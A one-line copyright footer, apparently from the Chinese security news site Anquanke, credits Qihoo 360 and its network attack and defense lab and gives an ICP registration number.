Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66